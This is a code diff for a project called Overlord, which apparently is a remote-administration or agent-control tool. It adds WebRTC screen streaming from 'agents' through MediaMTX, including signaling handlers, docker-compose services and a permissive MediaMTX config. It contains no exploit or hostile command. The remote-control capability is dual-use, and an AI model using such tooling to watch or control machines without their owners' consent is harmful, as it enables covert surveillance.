const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const sdp = typeof payload?.sdp === "string" ? payload.sdp : "";
if (!sessionId || !sdp) return;
const session = lookupP2PSession(sessionId);
if (!session) return;
safeSendViewer(session.viewer, { type: "webrtc_p2p_answer", sdp });
}
export function handleWebrtcP2PIce(_clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const candidate = typeof payload?.candidate === "string" ? payload.candidate : "";
if (!sessionId || !candidate) return;
const session = lookupP2PSession(sessionId);
if (!session) return;
safeSendViewer(session.viewer, {
type: "webrtc_p2p_ice",
candidate,
sdpMid: typeof payload?.sdpMid === "string" ? payload.sdpMid : "",
sdpMLineIndex: Number(payload?.sdpMLineIndex) || 0,
});
}
export function cleanupRdViewerP2P(ws: ServerWebSocket<SocketData>) {
const cleared = clearP2PSessionForViewer(ws);
if (!cleared) return;
const target = clientManager.getClient(cleared.clientId);
if (target) {
sendDesktopCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId });
}
}
function handleRemoteDesktopFrame(payload: any) {
const clientId = payload.clientId as string;
const header = payload.header;
+2
View File
@@ -37,6 +37,8 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"proxy_data",
"proxy_close",
"disconnect_info",
"webrtc_p2p_answer",
"webrtc_p2p_ice",
]);
export function isAllowedClientMessageType(type: string): boolean {
+20
View File
@@ -41,6 +41,11 @@ services:
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
# WebRTC: Bun reaches MediaMTX via the docker service name on bridge net.
OVERLORD_MEDIAMTX_URL: ${OVERLORD_MEDIAMTX_URL:-http://mediamtx:8889}
OVERLORD_WEBRTC_PUBLIC_HOST: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
depends_on:
- mediamtx
volumes:
- overlord-data:/app/data
- overlord-certs:/app/certs
@@ -62,6 +67,21 @@ services:
retries: 3
start_period: 40s
mediamtx:
image: bluenviron/mediamtx:latest
container_name: overlord-mediamtx
restart: unless-stopped
ports:
# WHIP/WHEP signaling only reached by the Bun container internally,
# so we don't publish 8889. ICE UDP/TCP must be reachable from the
# outside world (browser + agent), so publish 8189.
- "8189:8189/udp"
- "8189:8189/tcp"
volumes:
- ./mediamtx.yml:/mediamtx.yml:ro
environment:
MTX_WEBRTCADDITIONALHOSTS: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
volumes:
overlord-data:
overlord-certs:
+19
View File
@@ -43,6 +43,13 @@ services:
OVERLORD_CLIENT_BUILD_CACHE_DIR: ${OVERLORD_CLIENT_BUILD_CACHE_DIR:-/app/client-build-cache}
OVERLORD_FILE_UPLOAD_INTENT_TTL_MS: ${OVERLORD_FILE_UPLOAD_INTENT_TTL_MS:-1800000}
OVERLORD_FILE_UPLOAD_PULL_TTL_MS: ${OVERLORD_FILE_UPLOAD_PULL_TTL_MS:-1800000}
# WebRTC: where Bun reaches MediaMTX HTTP (WHIP/WHEP signaling).
# Host networking on Linux → localhost works. WebRTC is opt-in; leave the
# toggle in the UI off if MediaMTX is not running.
OVERLORD_MEDIAMTX_URL: ${OVERLORD_MEDIAMTX_URL:-http://localhost:8889}
# Public address advertised to browsers/agents for ICE. Defaults to the
# request host (Bun rewrites the WHEP candidate list when needed).
OVERLORD_WEBRTC_PUBLIC_HOST: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
volumes:
# overlord-data also caches downloaded cross-compile toolchains
# under /app/data/toolchains, fetched on first agent build for a
@@ -67,6 +74,18 @@ services:
retries: 3
start_period: 40s
mediamtx:
image: bluenviron/mediamtx:latest
container_name: overlord-mediamtx
# Share the host network so WebRTC ICE UDP candidates use the host's
# interfaces directly. Same trade-off as the main service.
network_mode: host
restart: unless-stopped
volumes:
- ./mediamtx.yml:/mediamtx.yml:ro
environment:
MTX_WEBRTCADDITIONALHOSTS: ${OVERLORD_WEBRTC_PUBLIC_HOST:-}
volumes:
overlord-data:
overlord-certs:
+7 -2
View File
@@ -1,6 +1,11 @@
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY=
github.com/sclevine/agouti v3.0.0+incompatible/go.mod h1:b4WX9W9L1sfQKXeJf1mUTLZKJ48R1S7H23Ji7oFO5Bw=
github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=
golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+42
View File
@@ -0,0 +1,42 @@
# MediaMTX config for Overlord WebRTC streaming.
#
# Auth + access control are enforced by the Overlord Bun server, which proxies
# every WHIP/WHEP signaling request. MediaMTX only sees requests originating
# from the Bun server (over the internal docker network / loopback), so we
# leave MediaMTX itself wide open and bind its HTTP endpoint to localhost.
#
# Browser/agent ICE traffic goes directly to MediaMTX over UDP on the host
# (port 8189). That port must be reachable from both operator and agent.
logLevel: info
api: no
metrics: no
playback: no
pprof: no
# Disable every protocol except WebRTC.
rtsp: no
rtmp: no
hls: no
srt: no
# WebRTC server (WHIP/WHEP).
webrtc: yes
webrtcAddress: :8889
webrtcEncryption: no
webrtcAllowOrigins: ['*']
# UDP/TCP mux for ICE candidates. Exposed publicly so browsers + agents can
# punch through to MediaMTX directly without TURN.
webrtcLocalUDPAddress: :8189
webrtcLocalTCPAddress: :8189
# Optional: set OVERLORD_WEBRTC_PUBLIC_HOST to your public IP/hostname and
# uncomment to add explicit ICE candidates (needed behind NAT).
# webrtcAdditionalHosts:
# - ${OVERLORD_WEBRTC_PUBLIC_HOST}
paths:
# Accept any path created by a publisher (WHIP). Overlord uses
# `agents/<clientId>` for per-agent streams.
all_others:
source: publisher